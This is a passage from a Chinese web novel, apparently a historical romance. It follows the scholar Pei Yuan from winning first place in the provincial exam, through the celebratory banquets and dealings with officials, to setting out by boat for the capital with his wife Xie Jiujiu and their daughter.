一闹,等雅间重新安静下来时,外边报喜的人已经唱到十二名了。周世安跟何云驰这个时候反而平静下来,自己多少斤两自己心里有数,再往后更加不可能有自己了。 倒是裴元,一直安安静静坐在一旁,看不出丝毫激动的痕迹。阿满拿了南瓜子让她爹给剥,裴元就耐心给女儿剥瓜子,甚至还细心地让跑堂拿了蜜水来,生怕阿满吃太多了口干。 一番热闹过后,大家看着稳如泰山的裴元,谁也不敢问他您老是真云淡风轻十拿九稳,还是搁我们跟前装相呢? 只有谢九九笑着把自己的衣袖覆在他的广袖之上,偷偷牵住他垂落在身侧一直在细细密密发抖的手掌。手心里全是冷汗,这人已经绷到极致了。 十、九、八……第三名经魁、第二名亚元……看着一溜烟跑过去报喜的人,这下连谢九九都有些撑不住了,她甚至觉得自己的腿肚子有些抽筋。 直到从远处传来一阵锣鼓声,和一浪高过一浪的欢呼声,和一溜烟跑在最前面往酒楼这边来报喜的人。 还有曹勇和高义,早就在酒楼坐不住的两人又往贡院的方向挤去了。这会儿被人潮裹挟着往回走,两人脸上都带着几分分辨不出到底是什么情绪的茫然。 “报!容县裴元裴老爷高中解元,独占鳌头,名动九霄!” “报!容县裴元裴老爷高中解元,独占鳌头,名动九霄!” ………… 报喜声由远到近,直到两个跑在最前面报喜的人进了雅间,谢九九才搀着裴元站起身来。 “说,再说一遍,今科的解元是谁。” “回沈老爷的话,今科的解元是容县的裴元裴老爷。” 给裴元报喜的人正好就是之前给沈霁报喜的人,这人满面红光把专属于解元的榜文高举起,再双手捧着奉给裴元,“恭贺裴老爷金榜题名,指日朱衣点头。” 裴元接过榜文,想要说些什么却发现自己嗓子哑了,还是一旁的谢九九张罗着把喜钱分发给报喜的人。 又叫曹勇赶紧去把提前准备的爆竹都点了,这才转过身来把阿满一把塞到裴元怀里,“快些,之前娘教你的话可还记得,都说给爹爹听。” 谢阿满拱着手正要说喜庆话,却被她爹给打断了。裴元才不管雅间里还有旁人,一把搂过谢九九抱进怀里,更加不管大胖闺女挤在两人中间,都快挤成个肉球。 “我说了的,我一定能考中。九九,你要不你先想想,有朝一日我能给你请封诰命,你想要个什么样的。” “越高越好,我听说知府夫人是四品的恭人,平日里也可着霞帔戴云冠,我瞧着霞帔好看,我也想要。” “好,我同你保证,日后定给你请一个比恭人更高的诰命回来。” 谢九九知道裴元这是满心的激动和情绪没地儿发,才会这般当众抱着自己问这样的话。谢九九便顺着他的话说,其实恭人的霞帔长什么样她都不曾见过。 谢阿满却不知道爹和娘这是在做什么,只觉得跟爹娘挤成一团也很好玩儿,当即反手伸手箍在她爹脖子上笑得咯咯的,原本还缱绻又温情的气氛,一下子就被她给戳破了。 中举之后还不能马上回乡,今科中举的举子都要拜谢主考、同考官,行弟子礼呈递门生贴,以示全了这场师生关系。待到日后入了官场,便都是能用得上的人脉。 裴元作为解元自然是这些举人中领头之人,先是在府衙县衙的带领下去孔庙祭祀,告慰先师。之后再由布政使司主持,奏鹿鸣诗,举人们着青袍赴宴。 青色圆领长袍也是从容县出发之前谢九九就准备好了的,头戴儒巾脚蹬皂靴,腰间系一条素银腰带,发冠一侧还簪着绒花,以示荣耀。 裴元皮相本就出彩,此刻又正是春风得意马蹄疾的好时候,穿着这么一身出门前站在谢九九跟前来回转了两圈,倒是真把谢九九的心都给转活络了。 “如何,举人娘子这是想要白日……” “快住嘴吧,那天在酒楼里还没闹够,还想今日鹿鸣宴迟了再出一回名是不是。” 那日雅间里再是没有外人,裴元死活抱着自己不肯放手的事还是给传了出去。本来就是正经的夫妻,这般做派虽大胆了些,却也算不得多无礼。 可架不住裴元连中两元的名气,人人都想知道这么个大才子到底什么来头,不过两天时间他的出身、被过继和入赘的经历,连同谢九九这个河东狮,也被查了个底掉。 谢九九以为自己才不在乎这些流言蜚语,但这几日进进出出的,巷子里那些嫂子大娘们,总要拉着自己问裴元的事,问得多了谢九九再不在意也在意了。 “那些人说不好听的话了?” 中举之后这几天裴元天天的早出晚归,大大小小的宴席就一直没停过。每天晚上回来阿满早睡了,谢九九也从不说家里有什么事。现在一看谢九九这样,裴元顿时就垮了脸色。 “那不至于,我如今怎么说也是举人娘子,谁会当着面叫我不舒服。” 谢九九不欲多说,只一个劲的催裴元赶紧出门别误了时辰。他是解元,那些举人们干什么都得他领头,鹿鸣宴谁都能去晚了就他不行。 “那就是背地里说了。” 裴元其实猜也能猜着个大概,但这会儿确实是来不及了,他捏了捏谢九九的手心,“等今晚回来,咱俩好好说清楚。” 第79章 第79章裴元这个桃子不好摘…… 今科派到潭州的主考为翰林院侍读吴方秀吴大人,在京城负责给皇上讲学撰文,虽没有实权却是实打实的天子近臣。 “听说了吗,这次鹿鸣宴巡抚、学政都要来,就连布政使大人今年都来潭州了。” “你怎么什么都听说了,之前也不见你人脉交际这么广啊。” 新晋的举人参加鹿鸣宴之前还得先谢恩,谢恩礼摆在潭州府府衙前院,这会儿举子们早早的到了府衙等着吉时和大人们来,可不三三两两凑在一起说些有的没的消磨时间。 “还不是那天那十桌酒席的功劳,我和鹤川兄之后就天天有人请吃酒吃席,有些事想不知道都很难。” 都说文无第一武无第二,即便裴元是解元,不服气他的也大有人在。毕竟作为解元他的考卷都是第一时间被张贴在贡院之外,供人品评,以示考试公正。 裴元的策论破题精妙下笔老辣,一手好字更是入木三分颇有大家风范。 八股看着没有策论那么好,却也四平八稳对仗工整,初初一看或许看不出多么亮眼,但细一读便能读出他字里行间的鞭辟入里切中时弊。 这样的文章不光要考生手稳心稳,最要紧的还是得敢写。有些话乍一看写得精彩,但细细一想要读文章的人自己来写,恐怕就不敢下笔了。 这便是这几年裴元在章世铮手底下磨出来的本事,裴元有出身带给他的桎梏,即便他在奋力挣脱,但从出生起就伴随长大的东西并没有那么容易改掉。 崔鹤儒又过于温和板正,他作为裴元的老师什么都好,唯独缺了一分一往无前的气势,这份气势体现在裴元的文章上,就是一股子说不出的黏糊和犹豫。 只有章世铮作为一代狂生,只有他才能不断把裴元打磨得愈发锋利,下笔即是一把出鞘的利剑宝刀。而他世家子的出身又能教会裴元如何规避不该说的话,不至于太过锋利伤人伤己。 这般被调教出来的裴元固然好,但好得太过了自然也就不被人所喜了。 尤其他还是个外室子,还是个自己做主把自己入赘给谢九九的赘婿,还是个满身铜臭俗气至极的读书人。 这样的反差,有人叹息有人扼腕,也有人觉得裴远舟这人也不过如此,若再考一次自己不见得就一定比他差。 所以裴元身边除了沈霁和一向沉默寡言的白举人,并没有谁主动凑过来要跟裴元这个解元老爷搭讪攀交情。 甚至有几个家世很好的举子在别的场合,当众说裴远舟之才不过泛泛,为人品格更是有待商榷,这种人考中解元,日后若当了官对朝廷对百姓到底是不是好事,怕是都两说。 “那种流言蜚语不过眼红嫉妒,当年我考中秀才,也有许多人说我孤高自赏傲气太过。后来我多年落第,也曾在心里艳羡眼红他人,你不要往心里去。” 考中举人对于白鹤川来说仿佛世上最好一剂良药,往日那般孤僻的人也能说出这种堪称掏心窝的体贴安慰人的话来,沈霁都操心明天的太阳还能不能出来。 只不过他说的这话,裴元抬眼冲沈霁看了一眼,沈霁也忍不住看了一眼白举人,忍了一下又觉得忍不住这才开口。 “虽说是嫉妒,但有的话却也没说错,孤高自赏傲气太过,这不是当年的白秀才又能是谁。” 本以为这话说出来白举人多少要反驳,却不想他听了这话反而哈哈大笑起来,笑得远处好好些举子都一脸好奇地朝这边看。 毕竟就算白鹤川不肆意大笑,他们仨凑在一起也足够显眼。 一个解元裴元,一个性格温和谁也不得罪,看不出有什么特别出彩的二十八名沈霁,一个少年中了秀才之后二十年没能中举,这次走运考中四十名的白鹤川。 按照常理和经验,日后他们三人的前程并不在一处。 裴元考中进士的可能性极大,他已中了二元,若是还能考中进士,即便不是三元及第,那也十分难得。 沈霁不好说,二十八名在潭州排得就不高,等到了会试还有南北直隶和江南的学子,本就不怎么出彩的人就更难出头了。 只是好在他还年轻,裴元今年二十三,他也不过才二十六,家境又殷实,即便再考上十年也不是支撑不住。 至于白鹤川,大家对他更多的还是没放在心上。会试他一定会去,但若是会试再一次两次三次的不中,他这辈子也就很难再有大前程了。 这样的三个人在外人眼里差距只会越来越大,到最后除了是同乡同科之外,再无其他交集。 读书人有时候比贩夫走卒更加现实,放眼望去这些举人看似三三两两,但其实能凑在一起的都是名次差得不远的,像裴元沈霁和白鹤川这样的,着实特殊又扎眼。 好在没等众人再多看戏,谢恩礼的时辰就到了。 布政使大人连同主考官吴大人带着一众举人拜天敬地叩拜皇恩,之后奏鹿鸣诗,由裴元这个解元领头跳魁星舞,最后拜见考官接下赏赐,这才按照乡试的名次入席。 鹿鸣宴遵循古制,用矮几、蒲席,并用青铜爵饮酒。鹿鸣鹿鸣,席面更是以鹿肉为主,并配以三牲祭肉,看着唬人得很味道却是不敢恭维。 好在出门前裴元在厨房偷吃了小半碗藕丸子,鲜藕剁成泥跟猪肉碎搅和成丸子,炸得金黄出锅,热着吃好吃凉着吃味道也不差。 裴元执起酒杯,明明出门前耍赖让谢九九给自己把偷吃藕丸的手给洗干净了,此刻却还是觉得鼻尖萦绕着淡淡的藕香味道,着实比这劳什子的炙鹿肉要好吃多了。 鹿鸣宴,并没有人在这个场合出什么大风头。本朝选官讲究经世致用,作为举子要稳重要能干实事才是正道,其他所谓的才子张扬,有也行没有亦可。 再加上裴元本就不好诗词作赋一道,他这个解元不领头,其他人自然也不会争先。规规矩矩吃完一顿饭,举人们各自回家,被主考官留下的只有前三名。 乡试第一名被称为解元,第二名亚元,今科的亚元姓汤,潭州府本地人,方才下午举子们在等待谢恩礼时他并不在,之后等布政使、巡抚、知府几位大人到了以后他才露面。 裴元一贯心细,其他人的注意力都在几位大人身上,都想着怎么在几位大人跟前露脸,只有他看见了跟在大人们身后神情坦然芝兰玉树的汤亚元,这一位必定就是人们口中的世家公子。 经魁姓陆,年纪比裴元和汤亚元要大些,今年三十六岁正好是本命年。 人都说本命年要么特别难过犯太岁有灾,要么特别走运,要走大运,如今看来陆经魁便是行的大运。 陆经魁长得魁梧又黑,裴元身段已然欣长,但站在陆经魁身边却还是比他矮了半个头去。这人身板子也壮实,走进屋里来站在那儿就像一堵墙,说话声如洪钟,乍眼一瞧不像经魁,倒像是个武举人。 不过听说他们家确实世代习武,祖上是靠开武馆发的家,如今家中有两个镖局,也算是巴陵本地有名的富户。毕竟穷文富武,这话到什么时候都不算错。 吴方秀的院子就在府衙后头,几人坐下等了一小会儿,换了道袍常服的主考官就从后面过来了。 换下官服的吴大人看上去比在宴席上更年轻些,绝不会超过四十岁。一把美髯乌黑黑的一丝白发都没有,一看就是平日里打理得十分之好。 “不瞒三位举人,这也是本官第一次出京做主考,出京之前专门问过同僚这乡试的主考官该怎么做。 他们传授经验,除了督考时公平公正,最要紧的便是考试之后,千万记得留下自己爱惜之才多亲近亲近,才不枉费了我山长水远来这一趟。” 好家伙,一张嘴就把三个人捧得高高的,皇帝身边的翰林院侍读跟他们说爱惜才情,还说来当主考就是因为认识了他们才不枉费,这话刚入耳还真有些飘飘然。 尤其吴方秀也有一副好皮相,再加之他文人雅士的打扮,他说的话自然而然就能让人相信,他的确是爱才的伯乐,而自己便是他的千里马! 被吴方秀这么一留,裴元到家时就晚了。 高义机灵,自从裴元中举之后跟着出门的多是他,曹勇留在家里看家,从未觉得有什么厚此薄彼。此刻见裴元回来,一边开门一边笑得见牙不见眼的,也不知道什么事叫他这么高兴。 高义走到裴元后面,从怀里掏出一个油纸包来塞给曹勇,“晚上府衙给我们也准备小席面了,我看那肘子好,就去厨房花银子但要了一份,还热着呢。” 做席面的都这样,后厨总要多准备些,就怕前面有个什么意外后面还能补上。肘子这样的大荤举人老爷们不见得多喜欢,但跟过去的随从仆人和后厨干活的人,肯定没有不喜欢的。 席面上的肘子做得特别好,自家要做光是柴火都划不来,更不要说前前后后的准备工作。高义一口气要了三个肘子,两个留着明天家里吃,还有一个专门给曹勇。 “你不用老给我带东西。”曹勇接过肘子,准备去弄点浊酒,这就是晚上的宵夜了。 “我知道你怕我留在家里有意见,我真没有。”曹勇知道自己是个寡言的人,出去见着谁嘿嘿一笑道声好,再多的他就说不出来了。 “你跟着老爷出去我放心,我守在家里我也放心,家里娘子和满姑娘都在,没个看门护院的不成,这事我能干好就挺好的。” “行行行,你别嘚吧嘚了,你去弄你的酒去,今晚上我看门守夜。”高义懒得听曹勇的碎嘴子,在外面就是个锯嘴的葫芦,在家里跟自己和老爷倒是什么都说,一点话都藏不住。 曹勇和高义之间的事裴元并不过问,这两人自己都是要带着去京城的,以后自己能走到哪一步不好说,他俩谁主内谁主外,他俩能商量好自然是最好。 绕过影壁进了院子,厢房里的灯已经熄了,只有正屋卧房里还点着灯。 “阿满睡了?” “早睡了。怎么才回来,鹿鸣宴上的菜味道如何,听他们说还有鹿肉鹿茸,真的假的。” “真的。” 裴元绕到屏风后面洗脸洗脚,谢九九也跟着起身走到屏风旁边给他递个布巾。隔着屏风说话奇怪得很,还是看着这人心里才踏实。 “明天我们也吃炙肉吧,那鹿肉忒腥了,要不是那么多人看着我,我真是一口都吃不下去。还是你做的烤肉好吃,就吃五花肉行不。” “行,那我让春儿再买点羊肉回来,光吃猪五花太腻了。” “今天回来得晚是因为被主考官吴大人给留下了,不光我,还有亚元和经魁,一起被留下的。” 脚泡在热水里,一天的疲乏解了大半。裴元也不疾不徐把吴方秀想要拉拢他们的事情都都给说了。 “这人真有意思,座师就是座师,如何能同授业恩师相 比。他做了你们这一科的主考官,即便不拉拢日后你们在他跟前也是学生,何必再来这一出。” 谢九九很不喜欢吴方秀这种暗戳戳拉拢人的做法,有种桃熟了他来摘的感觉。被他这么一弄,好像人家前些年跟着老师先生读的那些书,都比不过他慧眼识人了。 “人家也不是冲着我来的。”裴元笑一笑,别人或许不知道自己的身世,他是翰林院出来的侍读,他不可能不知道自己身后还有关家,他拉拢自己也是白拉拢了。 陆经魁一家子都是习武的,听说家中也有长辈在军中担任武职。这样的人即便以后为官,也有他特有的背景和路,清流不适合他。 只有汤亚元,人家本就是世家子,吴方秀不管是在席间或是之后对他的态度也格外亲厚。这两人才是互相看对了眼,要做真师生的人。 自己和陆经魁,不过是做个陪衬,陪着把这出慧眼识人的戏唱完罢了。 第80章 第80章终于分了你我 不过这些事也都只是小插曲,在潭州把该办的事情办完,这些赴考的读书人们便陆陆续续收拾东西,准备离开潭州城。 没考中的回去继续读书,中了举的一半选择直接往京城去,九月还剩下十来天,这个时节南方除了秋雨多些气候还算可以,现在出发能坐很长一段的船。 等到了十月底十一月初,船行不易了再换到陆路,举人进京赶考可以走官道,沿着驿站一站一站往前赶,大概能在十一月中旬之前到京城。 但裴元是解元,他必须回一趟岳州和容县。考中解元是要给他建解元牌坊的,这个银子归布政使衙门和县衙出,这会儿怕是已经动工了。 裴元是谢家的女婿,谢九九又已经分了家,这个牌坊要立也只能立在谢九九现在买的那个宅子巷口。 这种事约定俗成,哪一县哪一乡出了解元,整条街整个村子都与有荣焉,这个牌坊该立在何处肯定要按照规矩来办。要不然不光谢九九和裴元不答应,便是街坊四邻也不会肯的。 裴元要做的就是回容县,宴请乡邻拜谒府城县城长官,表明自己日后不管去到何处都不会忘了故土人情,这才好带着谢九九和阿满去京城。 再说容县还有潘掌柜带着大头几个眼巴巴的盼着,这一去再回来就说不好是什么时候了,回是一定要回的。 新出炉的解元老爷从潭州回来,刚到岳州境内就被知府家的大管事给找上了。管事等在驿站外,对着裴元和沈霁连同终于不再是白秀才的白举人,连同一行从潭州回来的几个举人笑得殷勤。 “恭喜几位老爷,待到来年春闱必定金榜题名前途无量。” 在左知府和左家管事眼里,这些人是日后的进士,更是左知府的为官一方的成绩。 这一次秋闱岳州中举的学子一共七个,虽不如往年多,但这其中出了裴元这个解元就什么都足够了。要知道裴元之前就已经考中了小三元,如今中了解元,要是来年再考中状元,那可就是□□了。 左知府自己也是正儿八经进士的出身,但他当年光是乡试就考了三次才考中,且名次并不靠前。 之后倒是会试一鼓作气一次就中了,会试的成绩并不靠前,到了殿试时凭借一首好字才拍在了二甲末尾。 左知府知道自己的长处,圆滑不至于奸猾,没有经世之才但主事一方把该办的事办好还是从来不怵谁。所以当年考中进士之后,便托人使银子,让吏部当年便点了个缺外任为官了。 从县令到知府,这些年他除了大计述职再也没有回过京城。这些年也看过了许许多多进京赶考的举人,和金榜题名回乡祭祖的进士,见得多了其实也就见怪不怪了。 但或许是裴元的来时路,又或者是已经中了二元的裴举人太难得,总觉得自己正当壮年以后还能往上走一走的左大人,这不就主动找上门来了。 “今年轮到本官随布政使大人、按察使大人进京朝觐,专门等在此处一是见一见你们三人,毕竟错过了这一次日后再要相见,却不知是在何处了。” 今年岳州出了裴元这个解元,他跟着上官进京述职,去吏部考察恐怕腰杆子都要比上次挺得更直些,因此当他看着穿着举子青袍的三人被管家带进来,他眼尾的笑褶子都深了些。 “大人言重了,等到了京城一定要去拜见知府大人,又怎会不知道见面在何处。” 当初裴元为了妻女,等了三年才参加乡试。今年谢家刚分家,人人都以为裴元又得缓上三年再去京城,却不想这人倒是转了性情。 外边都传说裴远舟什么都好,除了怕老婆。 大家都说谢大娘子当初确实帮了裴远舟一把,可过后没多久关家就找来了,要说吃苦裴元着实没吃多久的苦,如何就咬定青山不放松一般,对谢家娘子这般死心塌地。 为此甚至有人猜测是不是谢九九背地里请了什么神佛用了什么手段,有一阵子谢九九常去的那间庵堂,都成了容县未婚小娘子们必去的地方。 原本主殿里的送子观音娘娘,也不知从什么时候起多了个保媒拉纤的活儿。偏偏越是这样大家伙就越是传说那庵堂求姻缘百试百灵,到现在那庵堂的香火已然特别旺了。 不过这些事左知府并不在意,确定了裴元要赶来年春闱他也不废话,把真正的来意说了出来。 考中乡试之后,衙门会收录一部分优秀的考卷作为范文存档并上报礼部。这些事情自有衙门去办,用不着举人们操心。 但左知府想要做的是做个牵头的,给整个岳州的举子们出个文集。底下有些官员总想着拿联姻或是血脉来拉拢裴远舟,可一个被亲爹过继出去的人,又怎么会对这些东西真正在意。 倒不如以文会友,大家同科的举人们一起出个文集,这东西不管以后卖得如何,这也是一种情分。自己这个知府作为牵头的人,是不是也能算在其中。 官场沉浮最是说不准的事,别看着如今上头那些大人们清贵、煊赫,保不齐哪天出了什么事就得全家老小一起倒霉。 倒霉的时候不求有贵人搭救,只要能有人能帮一把,哪怕是扔个银锭给自己,说不定就能挣出一条活路来。 想要有那样的人,就得日积月累把关系网给搭好,处处留个心,得叫人记着自己的好,别让人一提起那个姓左的来就摇头。 “你们把文集诗词送去本官府上,到时候管家收集齐了会送去官办的刻书处,到时候书成了再寄给你们看,觉得可以了便送去书局书肆中,你们觉得这样可行?” “多谢大人替我们着想,大人的好意又岂敢推辞,学生回去便把文集整理妥当。” 左知府的用意都摆到明面上来了,裴元却觉得跟这人打交道挺舒服。 什么关系就留下什么交情,往后真有什么事,或是知府大人要自己去办,亦或是真有风水调转的那日,到时候能办的就办,不能办也不落埋怨。 讲定了此事,左知府往北裴元几人往南,一个去京城朝觐一个回乡祭祖。 回到马车上,裴元把这事一说,谢九九倒是高兴得很。 “之前还说以后等你再出个话本子,看看能卖多少银子。如今话本子还没影儿,咱们裴老爷就要出文集了,这回的价可得比当年那话本子卖得高了吧。” “那可得让大娘子失望了,这种文集只有自己贴银子出的份儿,想赚钱难上加难。除非明年我再给你考个状元回来,说不定能少亏些。” 岳州文风不盛,自己能拿得出手的还是一手字和文章,但其实策论八股这种东西,每个人都有每个人的习惯,非说喜欢得要把自己出的文集买回去,到底不多。 左大人只是牵头,官办的刻书处也比外面书局手艺更好些,该给的银子却是不能少 的。 等文集印出来,除了放到书局书肆里去卖的,还有一部分肯定是自己和其他几人分了,然后送给老师啊同窗啊考官这些人,就当是给自己造势攒个人气。 “真要想靠出这种文集赚钱,得诗词做得好。这不是正好戳我腰杆子上了,硬气不起来啊。” “哦,还得自己贴钱啊。” 谢九九一听还得自己花钱,一下子劲头就少了大半。但随即又精神起来,“没事,等到了京城我早晚要再开个云客来,到时候我就放在饭庄里卖,不怕没人买。” 谢九九越想越觉得这事能成,裴元则听得笑得眼泪都出来了。谁家好人出去吃个饭还要买个文集回家看八股策论,也就只有谢大娘子看自己什么都好,才能想出这么个主意来。 路过岳州裴元去拜见了章世铮和崔鹤儒,同两人说过之后的安排便回了容县。 一路到家,都是想象中的花团锦簇朱紫盈门。好些往日连见都没见过的士绅豪族也派人上门恭贺裴元得中解元,谢九九买下的这个小宅子,几乎都要被人把门槛给踏平了。 直到摆过开贺宴,结结实实热闹了三天,才渐渐平静下来。 新宅地方小,开贺宴还是摆在谢家。忙完之后一家子坐下,谢九九便转头问起谢文济跟小张姑娘的亲事谈得怎么样了。 毕竟九月初十放榜,两人在潭州又带了五六天才启程回来。等到家又花了七天,这几天忙忙碌碌的就没停下来过,这一眨眼离十月也只有四五天了。 开贺宴张家来了人,是张百户亲自带着三个儿子来的,看这个架势谢九九就知道这亲事应该是八九不离十了,就是不知道正日子定在哪天。 “早就定下了,正日子定在十月底。”说起这个谢文济脸上又泛起一阵笑意,这几天实在笑得太多,脸都有些疼了。 “那就好,你和张姑娘的亲事定下,我也就放心了。” 亲弟弟的婚事定下,谢九九也把早就准备好的东西都给了谢文济,除了文房四宝和颜色适合他的几匹绸子布料,便是一整套纯金的头面。弟妹进门,她这个做姐姐的总要给点什么。 谢九九从容县出发之前就已经把前院的东西收拾了大半,走之前也嘱咐了谢文济,有时间帮她把前院的东西搬到新宅去。 黄娟想拦,但儿子的婚期已经定下了,心里再后悔也只能眼睁睁地看着谢文济把前院的东西全给搬到新宅那边去。 现在看着谢九九给儿子东西,姐弟之间依旧亲近,可到底还是不一样了。以前这些东西都是家里的,如今却已然是分了你我。 婚期定在十月底,裴元回家本想要写封信给关令仪,说明谢文济成亲的日子,等文济成婚之后就带着谢九九和阿满去京城。 谢九九却伸手盖在信笺上,裴元抬头去看妻子,“怎么了,这次可说好了要跟我一起走的,我一个人去京城再回来也不知道是什么时候,我不可能把你和阿满留下。” “没说不走,我是想跟你商量,我们这个月底就出发,不等到十月底再走,你说行不行。” “文济的亲事怎么办。” “他娶妻又不是我娶妻,我这小半年不在家里不也好好的。” 习惯是这个世上最可怕的东西,谢九九如今好似就习惯了不再事事都把谢家摆在第一位,她得替自己的丈夫和女儿着想了。 九月底走,水路和陆路交替着,再慢腊月也能到京城。京城虽冷但还不至于大雪封路。等到了京城安顿下来,还能有一两个月的时间休养生息,好好准备会试。 可要是十月底再走,说不定过年都得在路上过。到时候到了京城兵荒马乱的,人还没缓过劲儿来就要上考场那怎么行。 “这次你听我的,就这个月底出发,眼下天大的事也越不过你考试的事去!”【你现在阅读的是 】 80-90 第81章 第81章赶考不容易 十月初一,是个宜出行的好日子。裴元带着妻女从容县码头出发,一路水路转陆路往京城去赴考。 九月底十月初,即便是容县这种中秋节之后白天还有些热的南地,也彻底凉快下来。这个时候从码头上船走水路,可以连续坐很长一段再上岸换马车走官道。 越临近京城的官道越好走,就连驿站听说规模和饭菜都要被南边的更大更周全,毕竟天子脚下这话可不是随便说说的。 再加上举人进京赴考都有衙门给发的火牌,有了这牌子就能免费在驿站住,要是掏些银子还能吃住得更好,有了这个往京城去的路再难,也难不到哪里去了。 码头上除了谢家和黄家,还有张家姑娘也跟着张百户和刘氏一起来了。 谢文济和张桂兰的婚事已经过了大定,这就算是一家人了。现在谢九九这个大姐和裴元这个姑爷要远行,他们来也是应该的。 人只有到了分别的时候,才能清楚什么最要紧。半年前就几乎要撕破脸的母女,如今站在码头上,终于不再互相别扭着犟着,等着对方先低头。 “出门在外要小心,晚上睡觉前得把门窗都关好。不要以为在船上就没坏人,知人知面不知心你得记在心上,知不知道。” “娘,我都要走了你怎么还啰嗦这个,就没有什么别的话要跟我说的啊。” 谢九九瘪瘪嘴,强忍住想哭的冲动,死活把眼泪给逼了回去,“我不在,您也好好的,等文济的媳妇进了门,您不该管的别多管,管得越少日子越舒坦,这个道理您得明白。” “还说我啰嗦,这个时候了也不知道跟你娘说些好听的话,要你操心这些做什么。” 黄娟是真后悔当初答应谢九九留在家里招赘,她一留下,家里大事小事就全归了她操心。要不是这样,自己那点儿见不得人小心思也不会一发不可收拾。 “去了京城跟姑爷好好过日子,关家那边能相处就处,实在相处不了就客客气气的。你是举人娘子,说不定明年就是进士娘子了,什么都别害怕。 再外面过得实在不痛快了就回来,记住一句话,什么都没有人要紧,你得先保住了自己,知不知道。” 女儿隔得太近了,黄娟心里疙疙瘩瘩的总有不如意的地方。现在女儿要走了,黄娟心里能想到的又全都是谢九九的好,只觉着女儿这一走,就像是从她心口上剜肉一样。 但当初从家里分家出去,谢九九就已经尝过这个滋味了。所以这会儿心里虽然也舍不得,但还是得走。 倒是一旁的小张姑娘,见他们娘俩话说得差不多,便主动上前来拉住谢九九的手,“这包袱里是一些常用的药,有治风寒发热的,还有一些事治跌打损伤的,都是卫所里常用的药,很好用。” 张桂兰是专门找卫所里的老大夫打听过了,知道出远门最怕的就是生病,才跟人讨来了这些药,“哪种药怎么吃,里面都写好了,姐姐路上一路注意安全。” “行,这些都是好东西,我可就都收下了。” 张桂兰能干爽利,谢九九看着她并没有什么要说的。她和谢文济的日子她知道该怎么过,自己这个大姑子要做的就是少插嘴少说话,就是最好的事了。 “姐,要不你还是带我走吧,我舍不得你。” 昨晚上芝娘就一个人去了新宅那边找谢九九,正如裴元所言,他中了解元之后来谢家给芝娘说亲的人,就肉眼可见地多了起来。 其中有县衙主簿家的工资,还有典史家的少爷。但这回没等黄娟说什么,就都被谢文济给拦回去了。过完年芝娘才十三,谢家的孩子订婚都不算早,芝娘在他眼里就还是个孩子,离成亲太远了。 “不是说好了的,先留一留,好歹等我和你姐夫在京城扎稳脚跟了,再接你过去。” 谢九九知道芝娘心里在意什么,这孩子心思有些固执,她觉得当 初自己是被娘硬从家里分出来的,她就总觉着那个家她待着也不踏实。 “不是都答应我了,再陪我住上几年,等以后你岁数大了,不管是嫁人还是怎么,我都答应你。你别老想着大姐,怎么不想想我一个人,你再走了我这日子多没意思的。” 说话的是谢文济,张桂兰和黄娟都让到一旁去了,还没过门的媳妇跟婆婆没什么话说,还是刘氏长袖善舞不管是女儿还是亲家母都能摆平,三个人站在一处也有说有笑的。 听谢文济这么一说,谢九九和谢芝娘都下意识转头看过去,谢芝娘这才叹了口气,张桂兰爽利却也不是能吃亏能让人的性子,这么个嫂子嫁过来,自家这个二哥能不能摆平还真不好说。 大姐和二哥,自己确实不好偏心太过。谢芝娘无可奈何摇头叹气,又拉着谢九九要了好些保证,这才不情不愿地撒开手让谢九九上船。 另一边不远处,是秦娘子在细细给何奎交代路上的事。 秦娘子跟何奎是不跟着一起走,但两人在家商量过以后,还是决定先把码头这边的生意交给底下的弟兄们和账房管着,由何奎跟着镖行一起去一趟京城。 “镖队的人也都是黄三爷岳老子那边的人,路上只要人家没有不对的地方,你就多看少说,记住了吗。” “你看你,我天天在码头混着这点道理还能不懂。” 潘掌柜跟着谢九九走,他那两成的利自然重新收了回去,谢文济顶了潘掌柜的位置,并没有把分出去的三成股的利收回来,而是重新平分给了秦娘子和老韩。 秦娘子如今早就能独当一面,谢文济在饭庄里当掌柜,还是处处都有要跟她学的地方。大头跟着谢九九走,厨房里就少了人,老韩得再带个能掌勺的师傅出来。 谢文济用一坛子酒让老韩松了口,带徒弟的时候绝不藏私。他的年纪不小了,他也知道不可能一辈子在云客来做下去。 眼下分给他一成半的利,就是饭庄给他养老和买他的手艺,让他别藏着掖着,好好的把徒弟带出来的银子。 去年老韩已经在县城又买了个小宅子,对于眼下的日子再没有什么不满意的,所以谢文济一提他就顺势把这事给答应下来。 云客来不缺人,倒是谢九九和裴元拖家带口,连同潘掌柜夫妻、大头夫妻和临时决定也要跟着一起去的谢有粮,这一大帮子人让人更加不放心。 秦娘子回去跟自家男人一商量,何奎就决定自己跟着去一趟。反正自己本就是做脚力行和牙行的,行南走北跟人打交道,是生来的本事。 这个道别那个不舍的,最终还是在船老大的催促中上船分离。谢九九站在船头静静看着码头岸边,并没有泪流满面也没有万分不舍。 甚至一边看着她心里还在一边想,路上大概要花多少银子,京城买一个宅子得花多少银子,两人手里的银子是先拿来买宅子还是早早把云客来重新支棱起来更好。 但她还是站在船头,眼睛都不眨一下的看着码头,直到船离岸边越来越远,远到谢九九再也看不见岸边的人,才转身回了船舱。 越往北走越冷,十月初二出发,一行人在十月二十二这日终于下船上岸到了扬州。 坐船对于出生在岳州湖泽旁的人来说就跟吃饭睡觉一样简单,阿满两岁不到就被爹娘抱着坐船去君山岛上吃螃蟹,一个夏天不知道要来回多少趟。 可再是习惯了,一下子在船上连续待上二十天,沿途除了靠岸补给上下船客就一直一直在水上飘着,那滋味也不好受。 就连一贯觉得只要爹娘都在身边,便能一整天都高高兴兴的阿满都蔫了。 被裴元抱着从船上下来的时候更是眼泪汪汪的,脚上蹬着崭新的虎头鞋,脚啪啪地跺在码头地面上,“以后再不坐船了。” “好,我们今天明天都不坐船了,行不行。” 裴元向来不跟女儿说瞎话,在扬州下船只是为了换更大的船。之后就得走运河了,再往北天气一天比一天冷,得厚重些的船才行。要不然一场雨甚至一场雪下来,船都要冻透了。 “嗯,那今天晚上我们吃什么,不吃鱼!” “蟹粉狮子头、盐水鹅、水晶肴肉吃不吃?” “吃!” “还要吃饭!” “扬州炒饭?” “好~” 其实裴元也是第一次来扬州,这些菜他一个都没吃过。但架不住裴举人书读得多,都说书中自有颜如玉,其实书里除了颜如玉还有很多菜谱,这会儿拿出来哄孩子正正好。 “行了,赶紧找地方住下吧,我这船上待太久了,怎么上了岸反而觉得有点儿恶心想吐呢。” 披着薄裘斗篷的谢九九整个人都靠在裴元身上,也不管他怀里已经抱了一个阿满还扛不扛得住。这回出远门可算是吃了亏了,要不是为了裴元,这辈子也不愿再受这份奔波折腾。 